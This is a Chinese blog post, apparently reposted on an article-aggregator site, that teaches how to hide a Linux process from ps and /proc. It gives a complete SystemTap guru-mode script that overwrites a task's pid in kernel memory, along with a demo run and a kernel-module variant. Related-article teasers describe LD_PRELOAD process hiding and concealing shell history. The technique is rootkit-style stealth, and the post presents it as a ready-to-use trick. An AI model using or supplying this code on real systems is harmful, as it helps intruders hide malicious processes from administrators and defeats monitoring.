一行代码教你如何隐藏Linux进程

总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。

网上通篇论述的无外乎hook掉procfs或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望马上看到效果的而言,看到这么一堆复杂的东西,大概率望而却步。

本文介绍一种将Linux进程小隐于用户的非常规方法,仅仅一行代码:

修改掉进程的pid即可。

注意是小隐,所以,不值得反制,逗一下高级会议工程师搞个恶作剧玩玩得了。
target->pid = 0x7fffffff;

完整的脚本如下:

#!/usr/bin/stap -g
# hide.stp

global pid;

function hide(who:long)
%{
 struct task_struct *target;

 target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 target->pid = 0x7fffffff;
%}

probe begin
{
 pid = $1
 hide(pid);
 exit();
}

来来来,试一下:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]# 

用下面的命令可以检测所有可显示进程的二进制文件:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do
 ls -l /proc/$pid/exe;
done

procfs里没了,ps当然就检测不到了。

如果你觉得guru模式的stap怪怪的,那么你完全可以编写自己独立的Linux kernel module,采用修改完即退的方法:

target->pid = xxxx;
return -1;

是不是比各种hook法简单多了,所谓的 动数据而不要动代码!

简单的说一下原理。

  • task被创建的时候,根据其pid注册procfs目录结构。
  • 展示procfs目录结构的时候,遍历task list以其pid作为key来查找procfs目录结构。
  • 0x7fffffff(或者任何其它合理的值)根本没有注册过,当然无法显示。

不多说。

再次声明,不要试图对本文所描述的方法进行反制,因为这么简单的东西根本不值得反制,哈哈,不是吗?

可以参考我之前的Rootkit系列文章来继续研究Linux进程大隐于内核的方法。同时,每一种方法我都给出了反制措施。

到此这篇关于一行代码教你如何隐藏Linux进程的文章就介绍到这了,更多相关Linux隐藏进程内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • linux 下隐藏进程的一种方法及遇到的坑

    前言 1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载 2.思路就是利用 LD_PRELOAD 来实现系统函数的劫持 LD_PRELOAD是什么: LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库.这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数.通过这个环境变量,我们可以在主程序和其动态链

  • 一行代码教你如何隐藏Linux进程

    总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户. 网上通篇论述的无外乎hook掉procfs或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了.对于希望马上看到效果的而言,看到这么一堆复杂的东西,大概率望而却步. 本文介绍一种将Linux进程小隐于用户的非常规方法,仅仅一行代码: 修改掉进程的pid即可. 注意是小隐,所以,不值得反制,逗一下高级会议工程师搞个恶作剧玩玩得了. target->pid = 0x7fffffff; 完整

  • Linux 进程替换(exec函数)实现代码

    Linux 进程替换(exec函数)实现代码 # include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<fcntl.h> #include<sys/types.h> #include<sys/stat.h> #include<string.h> int main() { pid_t id=fork(); if(id==0) { printf(&quo

  • 教你隐藏Linux的命令行历史

    Linux操作系统默认都会保存用户操作的历史命令,如果你是 Linux 命令行的用户,有的时候你可能不希望某些命令记录在你的命令行历史中.原因可能很多,例如,你在公司担任某个职位,你有一些不希望被其它人滥用的特权.亦或者有些特别重要的命令,你不希望在你浏览历史列表时误执行.然而,有方法可以控制哪些命令进入历史列表,哪些不进入吗?或者换句话说,我们在 Linux 终端中可以开启像浏览器一样的无痕模式吗?答案是肯定的,而且根据你想要的具体目标,有很多实现方法. 在这篇文章中,我们将讨论一些行之有效的

  • Linux进程控制详解及实例

    Linux进程控制详解及实例 常用函数: fork() 通过复制调用进程来建立新的进程,是最基本的进程建立操作. exec   包括一系列的系统调用,其中每个系统调用都完成相同的功能,即通过用一个新的程序覆盖原内存空间,来实现进程的转变.各种exec系统调用之间的区别仅在于它们的参数构造不同. wait() 它提供了初级的进程同步措施,能使一个进程等待,直到另一个进程结束为止. exit()  常用来终止一个进程的运行. 进程的建立 如果fork()调用成功,就会使内核建立一个新的进程,所建的新

  • 深入解读Linux进程函数fork(),vfork(),execX()

    本文研究的主要是Linux进程函数fork(),vfork(),execX()的相关内容,具体介绍如下. 函数fork() fork函数:创建一个新进程 1.fork()成功后,将为子进程申请PCB和用户内存空间. 2.子进程会复制父进程用户空间的所有数据(代码段.数据段.BSS.堆.栈),文件描述符. 3.复制父亲进程PCB中绝大多数信息. 4.虽然子进程复制了文件描述符,而对于文件描述符相关的文件表项(struct file结构),则采用共享的方式. 一个实例: #include <unis

  • 一行代码让 Python 的运行速度提高100倍

    python一直被病垢运行速度太慢,但是实际上python的执行效率并不慢,慢的是python用的解释器Cpython运行效率太差. "一行代码让python的运行速度提高100倍"这绝不是哗众取宠的论调. 我们来看一下这个最简单的例子,从1一直累加到1亿. 最原始的代码: import time def foo(x,y): tt = time.time() s = 0 for i in range(x,y): s += i print('Time used: {} sec'.form

  • Python使用一行代码获取上个月是几月

    本文介绍的关于Python时间日期处理,日期时间处理在实际应用场景中无处不在,所以这也成了编程语言中必不可少的模块,Python 也不例外.但是,你知道在Python中有多少个相关的模块吗?datetime.time.calendar. dateutil. pytz 等等. 你知道有多少种数据类型吗?date.time.datetime.tzinfo.timedelta 等等. 有天我遇到这样的需求,想获取当前月的前一个月是几月,假设本月是2018年1月,那么上个月就是2017年12月,大约要经

  • 微软开源最强Python自动化神器Playwright(不用写一行代码)

    相信玩过爬虫的朋友都知道selenium,一个自动化测试的神器工具.写个Python自动化脚本解放双手基本上是常规的操作了,爬虫爬不了的,就用自动化测试凑一凑. 虽然selenium有完备的文档,但也需要一定的学习成本,对于一个纯小白来讲还是有些门槛的. 最近,微软开源了一个项目叫「playwright-python」,简直碉堡了!这个项目是针对Python语言的纯自动化工具,连代码都不用写,就能实现自动化功能. 可能你会觉得有点不可思议,但它就是这么厉害.下面我们一起看下这个神器. 1. Pl

  • Python一行代码实现生成和读取二维码

    目录 生成二维码 读取二维码 补充 总结 二维码是用某种特定的几何图形按一定规律在平面(二维方向上)分布的.黑白相间的.记录数据符号信息的图形. 二维码被称为快速响应码,可能看起来很简单,但它们能够存储大量数据.无论扫描二维码时包含多少数据,用户都可以立即访问信息. 近些年二维码也是迅速普及,目前已经成为了我们生活中的一部分,它有许多应用场景: 信息获取(名片.地图.WIFI密码.资料) 网站跳转(跳转到微博.手机网站.网站) 广告推送(用户扫码,直接浏览商家推送的视频.音频广告) 手机电商(用

  • Python一行代码可直接使用最全盘点

    目录 1. If-Else 三元操作符(ternary operator) 2. 交换(swap)两个变量值 3. 匿名函数(Lambda)过滤列表 4. 模拟丢硬币(Simulate Coin Toss) 5. 读取文件内容到一个列表 6. 最简洁的斐波那契数列实现 7. 字符串转换成字节 8. 反转(Reverse)一个列表 9. 列表推导式(List comprehension) 10. print语句将字符串写入文件 11. 合并两个字典 12. 按字典中的value值进行排序 Writ

随机推荐